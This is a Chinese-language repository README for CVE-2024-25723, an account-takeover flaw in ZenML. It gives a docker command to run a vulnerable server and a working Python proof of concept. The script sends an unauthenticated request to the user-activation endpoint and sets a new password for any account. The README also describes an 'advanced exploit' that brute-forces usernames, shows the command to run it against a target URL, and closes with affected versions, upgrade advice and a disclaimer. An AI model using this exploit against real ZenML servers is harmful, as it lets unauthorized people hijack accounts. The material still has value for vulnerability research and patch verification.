本仓库致力于处理 ZenML 中的一个严重安全漏洞 CVE-2024-25723,并提供一个教育性的概念验证 (PoC) 来说明该问题,以鼓励及时缓解。该 PoC 展示了未经授权的用户如何可能利用该漏洞获得任何 ZenML 账户的所有权。
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
PoC 与高级漏洞利用的区别在于,高级漏洞利用会暴力破解最常用的用户名,并且能够通过一个泄露 ZenML 版本的 API 来检测版本是否存在漏洞。要使用高级漏洞利用,请将以下代码保存到一个文件中:
运行此漏洞利用的命令是:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
所有低于 0.46.7 的 ZenML 版本均受漏洞影响,但以下补丁版本除外:(0.44.4, 0.43.1, 0.42.2)。
升级到最新版本(0.46.7 或更高版本)或其中一个补丁版本(0.44.4, 0.43.1, 0.42.2)以降低此风险。
本仓库提供的概念验证 (PoC) 仅供教育和安全研究之用。提供的信息和代码旨在供网络安全专业人员和研究人员了解并防范软件和系统中的漏洞。未经事先相互同意,使用此 PoC、相关信息或代码攻击目标是非法的,并严格禁止。
使用此 PoC,即表示您同意您了解其演示的漏洞的潜在影响,并将负责任且合乎道德地使用它。此 PoC 的作者对任何滥用本材料或使用所提供信息和代码可能造成的任何损害不承担任何责任。最终用户有责任遵守所有适用的地方、州、国家和国际法律。
作者已尽一切努力确保本仓库所提供信息的准确性和可靠性。但是,信息按“原样”提供,不提供任何形式的保证。作者不对所包含信息的准确性、内容、完整性、合法性或可靠性承担任何责任或义务。